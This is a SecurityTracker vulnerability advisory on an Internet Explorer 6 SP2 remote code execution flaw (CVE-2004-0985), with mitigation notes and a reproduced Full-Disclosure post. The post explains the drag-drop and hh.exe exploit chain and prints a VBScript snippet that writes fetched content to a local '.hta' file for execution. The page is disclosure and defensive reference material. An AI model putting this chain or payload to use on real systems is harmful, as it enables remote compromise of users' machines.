Keep Track of the Latest Vulnerabilities
with SecurityTracker!
    Home    |    View Topics    |    Search    |    Contact Us    |   


Try our Premium Alert Service
Sign Up
Sign Up for Your FREE Weekly SecurityTracker E-mail Alert Summary
Instant Alerts
Buy our Premium Vulnerability Notification Service to receive customized, instant alerts
Put SecurityTracker Vulnerability Alerts on Your Web Site -- It's Free!
Become a Partner and License Our Database or Notification Service

Category:   Application (Web Browser)  >   Microsoft Internet Explorer Vendors:   Microsoft
Microsoft IE AnchorClick Behavior and HTML Help Let Remote Users Execute Arbitrary Code
SecurityTracker Alert ID:  1011851
SecurityTracker URL:
CVE Reference:   CVE-2004-0985   (Links to External Site)
Updated:  Oct 26 2004
Original Entry Date:  Oct 21 2004
Impact:   Execution of arbitrary code via network, User access via network
Exploit Included:  Yes  
Version(s): 6.0 SP2
Description:   A vulnerability was reported in Microsoft Internet Explorer (IE) in the 'AnchorClick' behavior. A remote user can create HTML that, when loaded by the target user, will execute arbitrary code in the Local Computer zone.

http-equiv reported that a remote user can create HTML containing an AnchorClick behavior to silently open a known directory on the target system (using the Shell.Explorer ActiveX object) and also containing a specially crafted image that, when dragged by the target user to the previously mentioned window, will cause the image file to be written to the target user's computer in a known location.

It is reported that only certain document types can be used in this type of drag and drop exploit, including '.xml', '.doc', '.py', '.cdf', '.css', '.pdf', '.ppt' and others. So, the specially crafted image file must emulate one of these formats, as IE will attempt to determine the content type if the extension is missing.

Then, the HTML can invoke HTML Help (hh.exe) with an invalid window to cause HTML Help to load the image file (which actually contains HTML scripting code). The HTML scripting code can then retrieve an arbitrary text file from a remote location and write it to an '.hta' file on the local computer. Then, the contents of the '.hta' file can be executed.

A demonstration exploit is available at:

Impact:   A remote user can execute arbitrary code in the Local Computer zone on the target user's system.
Solution:   No solution was available at the time of this entry.

PivX reports that you can set the Kill Bit on the Shell.Explorer ActiveX object to prevent IE from referencing local directories in a window object. PivX Labs has released a registry fix to set the Kill Bit on Shell.Explorer, available at:

Vendor URL: (Links to External Site)
Cause:   Access control error
Underlying OS:  Windows (Any)
Underlying OS Comments:  XP SP2 is affected

Message History:   This archive entry has one or more follow-up message(s) listed below.
Nov 28 2004 (More Exploit Code is Available) Microsoft IE AnchorClick Behavior and HTML Help Let Remote Users Execute Arbitrary Code
A demonstration exploit example was provided by Greyhats Security Group.
Feb 8 2005 (Vendor Issues Fix) Microsoft IE AnchorClick Behavior and HTML Help Let Remote Users Execute Arbitrary Code
Microsoft has issued a fix.

 Source Message Contents

Subject:  [Full-Disclosure] How to Break Windows XP SP2 + Internet Explorer 6 SP2

Tuesday,  October 19, 2004

The following technical exercise demonstrates the enormously 
elaborate methods required to defeat the current [as of today's 
date] security mechanisms in place in both Microsoft Windows XP 
SP2 and Internet Explorer 6.00 SP2 fully 

It is by no means easy. The 'locking down 'of the local zone is 
and has been the 'Achilles' Heel' of the manufacturer known as 
Microsoft from time of inception to date.

What we craft herewith is:

a) an enormous waste of personal resources and time
be) a full and complete remote compromise of the target computer

It is sufficiently diluted to allow for technical explanation at 
this time, however, considering that today 'full fireworks' from 
the get-go appear to be mundane to those that need, or pretend, 
to need to know, brighter sparks may or may not 'see the light' !

The problem is three-fold:

The SP2 'patch' for the Microsoft XP so-called 'operating 
system' does indeed do a terrific job of shutting out all Active 
Content from the so-called Local Zone. So much so as to , in 
addition to that aspect, killing off of the ADODB.Stream and 
Shell.Application [very] ActiveX controls.

The questions then are:

a) if we can run code in the local zone, what can we run to 
read, write and delete
b) if we can run code that can read, write and delete, how 
exactly do we run it

Like so:

1/  The recent  'drag drop' patch crammed into the Internet 
Explorer so-called 'Cumulative Security Update for Internet 
Explorer (834707)' yields some interesting results

2/ Clearly the mechanism to put anything other than the intended 
MIME type in the src or dynsrc has been bolstered. Almost to the 
point of being a specific set of file types. One might suspect 
the capabilities of the newly enriched 'snot nosed' security of 
Internet Explorer is called into play:


a) .xml;.doc;.py;.cdf;.css;.pdf;ppt and a number of others 
prove 'draggable'. Key or 'executable' file types do not -- for 
obvious reasons [now].

b) the 'trick' is then to emulate these file types. Quite 
correctly Internet Explorer 'sniffs' the file type to ensure its 
being. From within. Draggable elements are quite limited. As 
in <img src=''...> or <img dynsrc=''...> meaning only legitimate 
files assigned can be dragged -- media or image.

c) What we do is inject our html code into the media file, 
remove the file type [extention] and let the machine do our 
dirty work first step for us

d) Dragging our 'trojaned' image file across, containing our 
arbitrary code, we remove the extension and the machine 
automagically creates a nice crisp .htm file

e) Big deal they say. Cannot run code in the 'Local Zone'. We 
then take an oddity with our most helpful Help function from the 
operating system known as hh.exe. By giving this a non-valid or 
miss-formed 'window' we are able to then point hh.exe to our 
machine made [inclusive of our arbitrary code] .htm file and 
execute that within Windows Help. What that means is that this 
is not a trivial 'showHelp()' rather an actual .chm opening via 
hh.exe remotely. In technical essence that is. Along with its 
With pseudo privileges no doubt.

d) Big deal they say. Cannot run read / write / delete/ code in 
the 'Local Zone'. Adodb.Stream is dead. Shell.Application is 
dead. WScript.Shell has been patched even longer than that. But, 
we magically craft new code to replace it like so:

<script language="vbs">
' - 19.10.04
Dim Conn, rs
Set Conn = CreateObject("ADODB.Connection")
Conn.Open "Driver={Microsoft Text Driver (*.txt; *.csv)};" & _
"Dbq=;" & _
"Extensions=asc,csv,tab,txt;" & _
"Persist Security Info=False"
Dim sql
sql = "SELECT * from foobar.txt"
set rs = conn.execute(sql)
set rs =CreateObject("ADODB.recordset")
rs.Open "SELECT * from foobar.txt", conn
rs.Save "C:\\WINDOWS\\PCHealth\\malware.hta", adPersistXML

Simply put, that is perhaps the last remaining 'piece of code' 
that can write arbitrary content to an arbitrary file name in an 
aribitrary location.

All it is doing is pulling from, the contents of a 
miserable text file, then writing that content to an .hta file 
in the location we tell it to. On the local machine.

Working Diluted Manual Demo [go make your own fireworks !]:


1. the entire process could be automated should one really have 
time to waste
2. current so-called 'professional' trends are inclined to "so 
what. If it cannot bake toast as well who cares"
3. Exactly. Who really cares !
4. Do you.

End Call


Full-Disclosure - We believe in it.


Go to the Top of This SecurityTracker Archive Page

Home   |    View Topics   |    Search   |    Contact Us

Copyright 2018, LLC